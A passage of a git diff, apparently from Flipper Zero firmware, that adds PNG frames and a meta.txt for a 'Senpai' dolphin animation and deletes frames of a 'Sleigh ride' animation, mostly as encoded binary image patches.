zqKCHlns<-ueDR~DqSeMK4Ld7LvT(d2R>)LtrBe$S*8Yq5|)Rxqo4 zIk!fPSHN>FDWfH;9Or3SNQ8xJ3ibp>RvoDf(B~{Va(>j~(7lK}nz5nv(XJzBduqx? zf=8@e3saGZfIdeTs1p@Wo|QXWO?ZZ<>Gz2md%4CUh?W;etbA42)X;5Ama#{Hl%>t% zdA&6@k#ZWSHMRsn*X095!hRRqUxA|{QB;|zAA+Udx1B)QAS#$AaOHtkqcbFH^F-#X z5YmCl^Sq>h2m?nQB{GrX?3_M>sO(*-Od3}uO7i|+FNJdD@V{E;ETTN(DnQY1)mSs* zAR<@gPW!&&GH_P;7AKIAz#4mH+E^KNtg)m=%4fY=tRPZs5B95z~gEdYj@>#H|rV892hEyhqvR>_B z;7{sspr{awSL>o{1n=P&!8_1ytdcl#xi`jZ;C? zpsby|t0}UI(|;T2<;_(KZAFqRMwz2l>z*uM8AFF$sQ^%XJ2MnA=4S_m^FZZwr%@n-2WJ$?dr4NV>rVI!YSa#j@P%5H$PSJ z1J*f(hR!qoA(K1<=>{|asbFpIo_A@GtsM~~KElxDUdWNW;LQLcH8~LO{CZ{*(M3P1 zBIu3=W9%0Lh*` z%I4sPn)RSe+m#B5D7-5rJT1jqXZMmMN*rx4R=s}2`N9m4eA+c4`vu#`UIy3W8wZG3 znD!D!#p_leP^E;S$?okDbU@02PEEaNhhDNVIRFne-hoZ@9k@U4YCp+VSZThTuJ1XULZ_ zpgcRnEv&qc#^mj-{TWXd*%$sg*b{V2)`h5%RTkeOS8{C6OFNywGXi-H$rIr-4|yRX zh}CD-Fc4|cAc@WDau1PP$-bizBr1njU1@zaBi3XeFgJoS3g8p+&wN8BTVX^Ml`)zu zko-|4t(u=hGn$I=Z`+Tp;4ZRLcZ_#@3>sbU^fMFTW0! z1jI`Xd=fOcmO5sQKpTIyDnR!=xyHOzRHK$uG%`|Yz$j&eei~+#CXywuEEQLlKbj|0 zJv1{;R}`?;I!YqLKMvK(AU>H@GF73KKbb|95ACt|l|~$aR%vArscaBl4ukl@dhAqs zlw8zmZbq;oL6u|7Mif34QJyeo#vVXx9N|jxGrtD^RV>OST1kPd&U)CYrAHN3WyDzp zRoVE;ssZT-aV6eX>h>uILz5td@d;%r7!z6CVSLV@8Y-=R)-xOlO-4(p(Q3gO_n~>W z7s4w_km;d|J+JWQ4n)$0<}|X6X3XO+a!>?wComGuWD3y8Vh01y7=bre2VYqUi{NoS zh9WRp`_abyck$I+tzBQWI7fMG6j35LJC2o#5pRnSWOy7b!?njQGst>oc0BDKV!&D- z4_*ZFWQxdP)%{wTjhxmh$zM2t<@G#-%W&f5GmS0JqN6Ivz#?2xV?&S%)!N8=Su#GZ Z{R`QooeYqW*75)V002ovPDHLkV1hqFYH$Dm literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_8.png b/assets/dolphin/external/L1_Senpai_128x64/frame_8.png new file mode 100644 index 0000000000000000000000000000000000000000..6c4b8757060ecd792db21380ce0c77ab5129d93c GIT binary patch literal 1772 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 RW^(`l002ovPDHLkV1i{(Q6&HX literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/meta.txt b/assets/dolphin/external/L1_Senpai_128x64/meta.txt new file mode 100644 index 000000000..f68f0b563 --- /dev/null +++ b/assets/dolphin/external/L1_Senpai_128x64/meta.txt @@ -0,0 +1,23 @@ +Filetype: Flipper Animation +Version: 1 + +Width: 128 +Height: 64 +Passive frames: 16 +Active frames: 22 +Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 0 12 13 14 0 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 +Active cycles: 1 +Frame rate: 2 +Duration: 3600 +Active cooldown: 7 + +Bubble slots: 1 + +Slot: 0 +X: 5 +Y: 29 +Text: SENPAI !!! +AlignH: Right +AlignV: Center +StartFrame: 28 +EndFrame: 31 diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_0.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_0.png deleted file mode 100644 index 340ceb47f99ee859720fa8cd89aa51f234799bca..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1656 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 diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_10.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_10.png deleted file mode 100644 index 890ea5d70da8bab182cd7d25c234a2e2a1e9d610..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1494 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 diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_13.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_13.png deleted file mode 100644 index 6eda42b5d814555b5e795572face69b78fcfb0fd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1585 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 diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_15.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_15.png deleted file mode 100644 index 554a177a93d8203134179860bc35ac3899407026..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1771 zcmV;P)JNRCt{2T>gu`^E}TnaU93^AK#e!^2vMhC7nOUx6%6E8}SJ?T!F6{-JcfapJq=5OcEStFzV`! zJkRqH&ePlS1f6!^PX)N!(7V@X@Ja0@tN=d)U*MQdtX6=hRI&(W1;|u{Ps)ffusvBD zE6%@TAAePV<2X3t@Pf!*fwc!uwR@%7{Hg#_kax{S>fJ}n%-Y`ACsw+tQ&qR)JkPV@ z)G^|Wcw;6pc$)sp6@blrea!@oRPc$J^k%FCWQqfL&$AAGVirv>!TmJ-t4MJG@440I z^+r8$=J@!nwCBjtT^rZb?w z29EKUBcSIyPZKK{hraIZILUO7#4Eofx)ne}bA&N)W=GGhzvXqJ`sPvVE#>X(@o#Gj z$58($G&MOmHDvBp){S8CiEih2JN?oMpffrHbZS6jbVXP>JxrOAUK*B;mfd%~w^;qU zmtD(!50HVES*!I}o0=&)E@EkASC&;Y# z-Y=jEV2$_m@oYm`pE;rIK-TH<`Y({Z4N))loWvS8HIAmAPepMXe`VAcR63KjqYVyfevP7e5dobRsgB6G!kX-{5>OA&X3A|cB3mm>qmrA z>g2UQCg>kq0iyn^4fN#99~4xq^SxkTgM;NJQg^M(9Luyxw1-_maO)|60dkndA+pY| zwgs!y&-)%H(Y8oEqZYEG5?sOoqE=uTtcjsjRz2s-xgM;5jI!O*+u|h1zUZF5{~8Vu z8Rn5R-RC_AqD}UKrlT5I+=bb6ZCiHTP7ZKs3$XYA>nQyU$<1zRv_@2x(Q{_=E9iFq zd7im{6W9f`87MH2YF2-bfU?f21YT)Jb|6_=Uc^yYR4R^ly)6Ky@*Q)sJsxEuB4y0_ zQ9$YSIx2ydtMSMRz-G8LK5|NCLs8|4bcw2lCCdu}7FKmZawl%D0GYD9BD+fF*ec|e zcJy4!Wip>3rCz(TDjE|6+usCwV1h)C_vU#08;$kI-~2%`f3hbakXG;4w8hAGkW~Gen01xir8*sFoLPOdtK=}ipRSOHqg+Nf-%WwIX4 z_1a_=QTt=sz|X7TRfVD`*3OCANCvusO?@Ig7%%}9&EMgCDI2ZBUR%BepiM<(d5%ME zr?RG8Yd4rcK;?dy^Yxl&J?i?00VWX<7_Tg6Sh$qOjI-ot*6Ps13e;6Dgot+KN(I1b zKeZUK#geldV>z1DYXwXobhbN7ZaD~|0APrf#k421lHNS;K9Y^}$)M92mM+LqU3#nr zLHYj>qVMaTKF3D#tov40>mK`4$_hN96IvIY0EqZ@0quSI6yO=AqZ{>nhUi#afpK0$ zzNGPYLRYwX&q@;gdjxCWt3=QZ0E@IqgS0XctO|nGy_)HF1MM3+33b_4;Q(#`XvHk{ zo;9S}8W1{4|E?q2gtc#7BvrSVwh9m##2T_2QD8E2<@l=tfk_0GG?s%PIt8p^C-Jcy zKM|cItmnG}A-j%tn!azz+*Sc1L|ma8-LkWpx_cdK51ISRr+^GR()dO~_oP6`1jlv` zfM7+UG)#{5jCvZb(z6>UR5Nk)1*l+{GyyEy<$5-Zdkna|lFpt{yw5E-CL`D47YLYLgDZ*FFO zXE4iC4nPyZPISnNCV1~i(^;dgtW|sqs7}a3bi&fP1BLeX(akznM0JgK&GV%L9}3hs zx{OFVpP0|3vy2sUxFWa%hx?B)jxl`YOI{Z_1nN4u^X8S6`>nW-@qEl%d5x>Q-erIs 